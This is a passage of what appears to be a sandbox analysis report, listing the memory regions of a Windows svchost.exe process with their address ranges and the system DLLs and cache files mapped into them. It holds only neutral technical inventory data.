"\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 706 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 707 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 708 start_va = 0x170000 end_va = 0x19ffff entry_point = 0x170000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 709 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x1a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 710 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 711 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 712 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 713 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 714 start_va = 0x350000 end_va = 0x3b5fff entry_point = 0x350000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 715 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 716 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 717 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 718 start_va = 0x7e0000 end_va = 0x89ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 719 start_va = 0x8a0000 end_va = 0xc92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 720 start_va = 0xca0000 end_va = 0xcbbfff entry_point = 0xca0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 721 start_va = 0xcc0000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 722 start_va = 0xd40000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 723 start_va = 0xdc0000 end_va = 0xdc0fff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 724 start_va = 0xdf0000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 725 start_va = 0xe40000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 726 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 727 start_va = 0xf50000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 728 start_va = 0x1010000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 729 start_va = 0x1060000 end_va = 0x10dffff entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 730 start_va = 0x10e0000 end_va = 0x13aefff entry_point = 0x10e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 731 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 732 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 733 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 734 start_va = 0x15a0000 end_va = 0x161ffff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 735 start_va = 0x1620000 end_va = 0x169ffff entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 736 start_va = 0x16e0000 end_va = 0x175ffff entry_point = 0x0 region_type = private name = "private_0x00000000016e0000" filename = "" Region: id = 737 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 738 start_va = 0x1810000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 739 start_va = 0x1890000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 740 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 741 start_va = 0x19e0000 end_va = 0x1a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 742 start_va = 0x1a60000 end_va = 0x1adffff entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 743 start_va = 0x1b00000 end_va = 0x1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 744 start_va = 0x1b90000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 745 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 746 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 747 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 748 start_va = 0x1ea0000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 749 start_va = 0x1fa0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 750 start_va = 0x2020000 end_va = 0x2362fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 751 start_va = 0x2370000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 752 start_va = 0x2550000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 753 start_va = 0x2630000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 754 start_va = 0x26e0000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 755 start_va = 0x2770000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 756 start_va = 0x2810000 end_va = 0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 757 start_va = 0x28e0000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 758 start_va = 0x2960000 end_va = 0x2a5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002960000" filename = "" Region: id = 759 start_va = 0x2a80000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 760 start_va = 0x2b10000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 761 start_va = 0x2bd0000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 762 start_va = 0x2c50000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 763 start_va = 0x2d50000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 764 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 765 start_va = 0x2f20000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 766 start_va = 0x2f80000 end_va = 0x2f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 767 start_va = 0x3090000 end_va = 0x310ffff entry_point = 0x0 region_type = private name = "private_0x0000000003090000" filename = "" Region: id = 768 start_va = 0x3150000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 769 start_va = 0x31f0000 end_va = 0x326ffff entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 770 start_va = 0x32d0000 end_va = 0x334ffff entry_point = 0x0 region_type = private name = "private_0x00000000032d0000" filename = "" Region: id = 771 start_va = 0x3350000 end_va = 0x33cffff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 772 start_va = 0x33e0000 end_va = 0x345ffff entry_point = 0x0 region_type = private name = "private_0x00000000033e0000" filename = "" Region: id = 773 start_va = 0x3460000 end_va = 0x355ffff entry_point = 0x0 region_type = private name = "private_0x0000000003460000" filename = "" Region: id = 774 start_va = 0x3590000 end_va = 0x360ffff entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 775 start_va = 0x3630000 end_va = 0x36affff entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 776 start_va = 0x3890000 end_va = 0x390ffff entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 777 start_va = 0x3a50000 end_va = 0x3acffff entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 778 start_va = 0x3b80000 end_va = 0x3bfffff entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 779 start_va = 0x3c60000 end_va = 0x3cdffff entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 780 start_va = 0x3ce0000 end_va = 0x3edffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 781 start_va = 0x3f40000 end_va = 0x3fbffff entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 782 start_va = 0x4010000 end_va = 0x408ffff entry_point = 0x0 region_type = private name = "private_0x0000000004010000" filename = "" Region: id = 783 start_va = 0x4090000 end_va = 0x410ffff entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 784 start_va = 0x4190000 end_va = 0x420ffff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 785 start_va = 0x43a0000 end_va = 0x459ffff entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 786 start_va = 0x45e0000 end_va = 0x465ffff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 787 start_va = 0x4690000 end_va = 0x478ffff entry_point = 0x0 region_type = private name = "private_0x0000000004690000" filename = "" Region: id = 788 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 789 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 790 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 791 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 792 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 793 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 794 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 795 start_va = 0x7fee6890000 end_va = 0x7fee6961fff entry_point = 0x7fee6890000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 796 start_va = 0x7fee6bf0000 end_va = 0x7fee6c05fff entry_point = 0x7fee6bf0000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 797 start_va = 0x7fef3590000 end_va = 0x7fef35d1fff entry_point = 0x7fef3590000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 798 start_va = 0x7fef4dd0000 end_va = 0x7fef4e09fff entry_point = 0x7fef4dd0000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 799 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 800 start_va = 0x7fef5b20000 end_va = 0x7fef5b9dfff entry_point = 0x7fef5b20000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 801 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 802 start_va = 0x7fef5bc0000 end_va = 0x7fef5c7bfff entry_point = 0x7fef5bc0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 803 start_va = 0x7fef5c80000 end_va = 0x7fef5cf2fff entry_point = 0x7fef5c80000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 804 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 805 start_va = 0x7fef5d30000 end_va = 0x7fef5d9afff entry_point = 0x7fef5d30000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 806 start_va = 0x7fef5da0000 end_va = 0x7fef5db8fff entry_point = 0x7fef5da0000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 807 start_va = 0x7fef5dc0000 end_va = 0x7fef5e0ffff entry_point = 0x7fef5dc0000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 808 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 809 start_va = 0x7fef5e30000 end_va = 0x7fef5e9efff entry_point = 0x7fef5e30000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 810 start_va = 0x7fef5ea0000 end_va = 0x7fef5fcefff entry_point = 0x7fef5ea0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 811 start_va = 0x7fef5fd0000 end_va = 0x7fef5fe9fff entry_point = 0x7fef5fd0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 812 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 813 start_va = 0x7fef6070000 end_va = 0x7fef60f3fff entry_point = 0x7fef6070000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 814 start_va = 0x7fef6300000 end_va = 0x7fef6324fff entry_point = 0x7fef6300000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 815 start_va = 0x7fef6330000 end_va = 0x7fef636cfff entry_point = 0x7fef6330000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 816 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 817 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 818 start_va = 0x7fef64d0000 end_va = 0x7fef6516fff entry_point = 0x7fef64d0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 819 start_va = 0x7fef6520000 end_va = 0x7fef6561fff entry_point = 0x7fef6520000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 820 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 821 start_va = 0x7fef6590000 end_va = 0x7fef6621fff entry_point = 0x7fef6590000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 822 start_va = 0x7fef73c0000 end_va = 0x7fef73d6fff entry_point = 0x7fef73c0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 823 start_va = 0x7fef73e0000 end_va = 0x7fef758ffff entry_point = 0x7fef73e0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 824 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 825 start_va = 0x7fef8940000 end_va = 0x7fef8959fff entry_point = 0x7fef8940000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 826 start_va = 0x7fef8f60000 end_va = 0x7fef904dfff entry_point = 0x7fef8f60000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 827 start_va = 0x7fef9340000 end_va = 0x7fef934efff entry_point = 0x7fef9340000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 828 start_va = 0x7fef9350000 end_va = 0x7fef9359fff entry_point = 0x7fef9350000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 829 start_va = 0x7fef93c0000 end_va = 0x7fef9436fff entry_point = 0x7fef93c0000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 830 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 831 start_va = 0x7fef9450000 end_va = 0x7fef9561fff entry_point = 0x7fef9450000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 832 start_va = 0x7fef9570000 end_va = 0x7fef957efff entry_point = 0x7fef9570000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 833 start_va = 0x7fef9580000 end_va = 0x7fef9588fff entry_point = 0x7fef9580000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 834 start_va = 0x7fef9590000 end_va = 0x7fef9598fff entry_point = 0x7fef9590000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 835 start_va = 0x7fef95a0000 end_va = 0x7fef95f5fff entry_point = 0x7fef95a0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 836 start_va = 0x7fef9600000 end_va = 0x7fef965dfff entry_point = 0x7fef9600000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 837 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 838 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 839 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 840 start_va = 0x7fefb650000 end_va = 0x7fefb663fff entry_point = 0x7fefb650000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 841 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 842 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 843 start_va = 0x7fefb6b0000 end_va = 0x7fefb716fff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 844 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 845 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 846 start_va = 0x7fefb750000 end_va = 0x7fefb75ffff entry_point = 0x7fefb750000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 847 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 848 start_va = 0x7fefb780000 end_va = 0x7fefb7b6fff entry_point = 0x7fefb780000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 849 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 850 start_va = 0x7fefb820000 end_va = 0x7fefb8e1fff entry_point = 0x7fefb820000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 851 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 852 start_va = 0x7fefbb30000 end_va = 0x7fefbb4cfff entry_point = 0x7fefbb30000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 853 start_va = 0x7fefbb50000 end_va = 0x7fefbb58fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 854 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 855 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 856 start_va = 0x7fefbd60000 end_va = 0x7fefbd73fff entry_point = 0x7fefbd60000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 857 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 858 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 859 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 860 start_va = 0x7fefbdd0000 end_va = 0x7fefbdd7fff entry_point = 0x7fefbdd0000 region_type = mapped_file name = "sscore.dll" filename = 